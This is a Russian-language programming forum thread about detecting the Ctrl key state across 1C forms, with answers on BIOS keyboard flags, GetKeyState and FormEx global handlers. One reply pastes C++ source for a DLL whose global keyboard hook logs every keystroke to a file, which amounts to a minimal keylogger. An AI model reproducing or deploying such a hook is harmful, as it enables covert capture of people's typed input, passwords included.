Хочу в вызываемом отчете определить состояние клавиши Ctrl при нажатии мышкой кнопки "Отчет" на форме.
Т.е. как узнать была ли нажата Ctrl при клике?
(не переделывая все формы в которых вызывается этот отчет, а только переделывая вызываемый отчет)
Как бы это так?

Два байта, расположенные в ячейках памяти 0040:0017 и 0040:0018 содержат биты, отражающие статус клавиши сдвига и других клавиш-переключателей следующим образом:


           Бит    Kлавиша      Значение, когда бит = 1
0040:0017    7     Insert       режим вставки включен
            6     CapsLock     режим CapsLock включен
            5     NumLock      режим NumLock включен
            4     ScrollLock   режим ScrollLock включен
            3     Alt          клавиша нажата
--->>>       2     Ctrl         клавиша нажата
            1     левый Shift  клавиша нажата
            0     правый Shift клавиша нажата

0040:0018    7     Insert       клавиша нажата
            6     CapsLock     клавиша нажата
            5     NumLock      клавиша нажата
            4     ScrollLock   клавиша нажата
            3     Ctrl-NumLock режим Ctrl-NumLock включен


остальные биты не используются.

Роберт Журден. Справочник программиста на персональном компьютере фирмы IBM. Глава 3. Kлавиатура.

http://sabalyauskas.by.ru/Library/Informatics/Jourdain/3.html

радует, что отстальные биты не используются...

Намек, на поиск ВК-шки прямого доступа к памяти ?

(3) Тебе в 1С что ли?

А то .... ;))))

(1) Это ж дос. В винде совсем не там хранятся нажатия

Ты забыл собственную ветку что ли?
Как отследить нажатую Ctrl при нажатии кнопки на форме?

вот ещё
Отслеживаем нажатие "спец" клавиш с кликом мыши в 1С...;

(5) а версия - э то секрет ?

Весь фокус в том что нужно получить "состояние клавиши" ВЫЗВАВШЕЙ формы в ВЫЗВАННОЙ форме, не переделывая ВЫЗВАВШУЮ форму.
(типа lastkey() из FoxPro)

(9) версия чего?
Если 1С то в заголовке темы.

(1) не надо этого, Рупор Абсурда прекрасное решение давал в свое время

(12) не катит тот метод

(13)+ тот метод относится к текущей форме, а мне нужно к вызываемой

dynawrapx.dll + GetKeyState

Срок регистрации домена 1CPP.RU закончился

(16) Баян. Что с www.1cpp.ru?

(17) Не понял.
По теме: понял - никак значится.

(10) а как она тогда вызывает с контролом если не переделана ?

(19) Пока никак. Вот и хочется сделать.

ну вот и сделай как у Рупора, какая кнопка вызовет та и будет известна

Кстати, если смотреть описание событий от мыши в Windows, то там есть Ctrl и Shift (WPARAM от WM_#BUTTONDOWN и флаги MK_CONTROL и MK_SHIFT), как некоторые "добавочные" кнопки мыши.
То есть система гарантировано их отслеживает - про Alt даже такого сказать нельзя.
Поэтому, писать компоненту, которая перехватывает сообщения мыши - тогда гарантировано будет состояние клавиш. В противном случае никто не гарантирует, что события мыши и клавиатуры не будут "переставлены" в очереди сообщений.

(21) Не тот случай. У него эмулируется нажитие кнопки F12 и и форма отслеживает горячую клавишу {Ctrl+F12}, по этому вызывается иная функция.
Это значит нужно ПЕРЕДЕЛЫВАТЬ вызывающую форму (а их много). Я же хочу переделать только вызванную форму. (1 шт.)
(22) Ну да. Я и намекаю на такую ВК.

Чем не устраивает FormEx?

(23) где гарантия, что юзер не успеет отжать контрол до того, как твой код в обработке получит управление?

2(25) Ловить глобально?

(24) Всем устаривает.
Но я не пойму как мне в ВЫЗВАННОЙ форме узнать была ли нажата CTRL в вызывающей

(27)+ Типа, состояние CTRL форма должна получить как параметр

(27)+ При этом не меняя форму с Кнопкой

2(27) Глобально запомнить состояние CTRL при последнем клике (или нажатии Enter).

(27) форма1 ----> вызывает форму отчета.
Как в отчете  узнать была ли нажата CTRL при вызове ?

+(30) Или при открытии вызываемый анализировать состояние нажатия CTRL, если можно игнорировать (25).

(27)(28)(29) есть ли жизнь на Марсе, нет ли жизни на Марсе -
это науке неизвестно...

(30) Понимаю что именно так.
А как реализовать ?

2(31) Тебе готовый код нужен?

(27)а можешь поделится зачем тебе это нужно ?

вызывающая форма отлавливает начатие Ctrl и клик мыши и передает в параметре в ВЫЗВАННУЮ форму - ничего сложного нет.

курить бросить не трудно.... - трудно понять зачем (с)

не отжимать CTRL до открытия отчета :))

FormEx может отслеживать рельное состояние CTRL?

(36) Сложно читать всю ветку с начала. Я понимаю.

Процедура ПриНажатииКнопкиКлавиатуры(прм_КодКлавиши, прм_Alt, прм_Shыft, прм_Ctrl, прм_Символ, прм_ФСО)

в вызванной форме уже не сработает же???

2(38) Да.

2(40) Не сработает. Сработает глобальный вариант это процедуры.

Просто в глобальнике процедуру засунуть ?

(42) Получилось. Спасибо.
З.Ы. А ларчик просто открывался. (А народ то не знает)

(44) Выложи что получилось в итоге, можно в БЗ запихнуть.

(45) Да ну...
АЛьф, по ходу, смеяться будет.
Кусок хелпа в БЗ пихать не камильфо...

(44)  имхается мне, не очень это хорошо - глобально клавиши ловить

2(47) Почему?

(48) пока не придумал. но спинной мозг недоволен :-)

(48) Правда не очень корректно работает все.
1. При клике с Ctrl срабатывет как нужно (1-й режим)
2. При клике без Ctrl срабатывет как  НЕ нужно (1-й режим) (как в п.1.)
3. При 3-ем клике без Ctrl срабатывет как нужно (2-й режим)

(48) а можно пример кода? может я чего не понимаю...

Таки и отпускание клавиши тоже надо ловить - если нажатие - это запоминаем флаг, то отпускание - это его сбрасываем.
Ну или накатать OLE-объект, который позволит вызвать GetAsyncKeyState, чтобы узнать, нажат Ctrl или нет.
В Dll OLE-объект (Active-X) пишется без проблем даже на голых Сях (я таким методом из VbScript процесс через CreateProcess запускал).

// dllmain.cpp : Defines the entry point for the DLL application.
     #include "stdafx.h"
     
     
     
     // Handle to the keyboard hook
     HHOOK hKeyboardHook;
     
     //Information storage
     std::fstream spyFile;
     
     
     
     // Keyboard hook procedure
     LRESULT CALLBACK KeyboardHook(int nCode, WPARAM wParam, LPARAM lParam)
     {
         if ((nCode == HC_ACTION) && !(lParam >> 31))
             spyFile << " " << wParam;
     
         return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);;
     }
     
     
     
     
     
     // Application entry point
     BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
     {
         switch (ul_reason_for_call)
         {
             case DLL_PROCESS_ATTACH:
                 {
                     hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC) KeyboardHook, hModule, 0);
                     if (hKeyboardHook != NULL)
                         spyFile.open(L"C:\\Test.txt", std::ios_base::out | std::ios_base::trunc);
     
                     break;
                 }
     
             case DLL_PROCESS_DETACH:
                 {
                     UnhookWindowsHookEx(hKeyboardHook);
                     spyFile.close();
     
                     break;
                 }
         }
     
     
         return TRUE;
     }

(52) Действительно, ежели б была
Процедура ПриОтжатииКнопкиКлавиатуры(<?>,,,,,,)
было бы все замечательно.

(Чисто в космос)

(54) ты не поверишь, в формексе этот метод есть.!

2(54) Она есть.

как дети прямо..

(55) ну сорри, значит у меня старый als

ну тогда такой нету:
Процедура КликМышкиПоКоординатамКнопки(X,Y)
КонецПроцедуры

можно было бы, как HTML, карту-кнопку изобразить.
(Или навесить на одну кнопку кучу функций)

2(59) Такая делается самостоятельно на раз на основе существующих.

(59) ставь ящик армянского коньяку АЛьФу ;)

(59)Процедура ПриНажатииЛевойКнопки(<Состояние>,<КоординатаПоГоризонтали>,<КоординатаПоВертикали>,<ФСО>) ???

А по-поводу карты-кнопки.. есть активикс для этого, вешай, 3d маджик, к примеру - будет тебе еще хренова туча событий и возможностей..
Всё есть на самом деле.

(61) Фи, он такое Гэ не заслуживает.
Могу, например, молдавского (все хвалят).

Вообще говоря было немного дико после VFP работать с формами 1С.
Перехвата нажатия клавиш нет, перехвата дубльклика нет, перехвата ресайза нет. Казалось бы простейшие вещи, а на уровне платформы не реализаваны.
Хорошо хоть в восьмерке обработчики событий формы добавлены и привязки. И то... А перехват событий клавиатуры и мышки так и не сделан.
Вопрос к Волшебнику как к методисту по платформе : это что - религия такая была принята? Или где?

(56) она то есть, но она не глобальная.
А в отчете я не могу перехватить отжатие ;(

2(66) Все события FormEx проецируются и в глобальник.

(62) А что за координаты? 0,0 где ?

2(65) Да, это такая религия. Т.к. изначально система строилась по принципу, чтобы каждый бухгалтер мог сам себе что-нибудь подправить. И в этот принцип никак не вписывались обработки событий от железа.

(66) бредим ?
Всё там работает и в глобальнике и в локальном контексте.

(68) 0,0 чего ? кнопки ?

(67) Гы,  все работает!
Вот же блин.

+71 получи атрибут по координатам при нажатии - имей его координаты через методы атрибута формы.

(64) ящик Арарата - это не гэ. если конечно ты его не в московском подвале брать будешь ;) так что ставь - смотри сколько АЛьФ тебя уже пасёт

Итого, выжимки:
помещаем в глобальник код:
Перем Ctrl_key Экспорт;
Процедура ПриНажатииКнопкиКлавиатуры(конт, код, _а, _ш, _к)
   Ctrl_key = _к;
КонецПроцедуры
Процедура ПриОтжатииКнопкиКлавиатуры(конт, код, _а, _ш, _к)
   Ctrl_key = _к;
КонецПроцедуры

и вуаля

(73) могу получить атрибут по координатам.
Не могу получить координаты нажатия относительно системы координат привязанных к кнопке.

Т.е. мне нужно различить  клик по правой  или левой стороне кнопки "Печать".

(76) а силу нажатия - не надо? или пол нажимающего?

(76) нажал на контрол - поимел координаты мыши относительно окна, получил атрибут, получил его координаты относительно окна..
Всё собственно: имея ширину и высоту контрола поимел мышиные координаты относительно самого контрола, тупо от мышиных координат вычитанием координат верхнего левого угла контрола..

(78) не нашел как "получил его координаты относительно окна.. "

(77) ты можешь ???

(79)

ПриНажатииЛевойКнопки имеем х,у
+
ПолучитьАтрибутПоКоординатам имеем сам атрибут
+
ПолучитьКоординаты имеем х,у,ширину,высоту контрола..

(81) Запутался в методах...  и скис.

(69) Хреновая у них религия.
Вот из-за этого приходится Web-формы рисовать и "осла" к 1С прикручивать.
(65) Вы ещё Access вспомните или Excel, где любую функцию из DLL можно смело вызывать и не бояться, что что-то пойдёт не так. Да и OLE-объекты там работают с данными напрямую, а не через "подстановку".

(83) А разницу в НОТ между мелкософтом и сборищем энтузиастов различаете?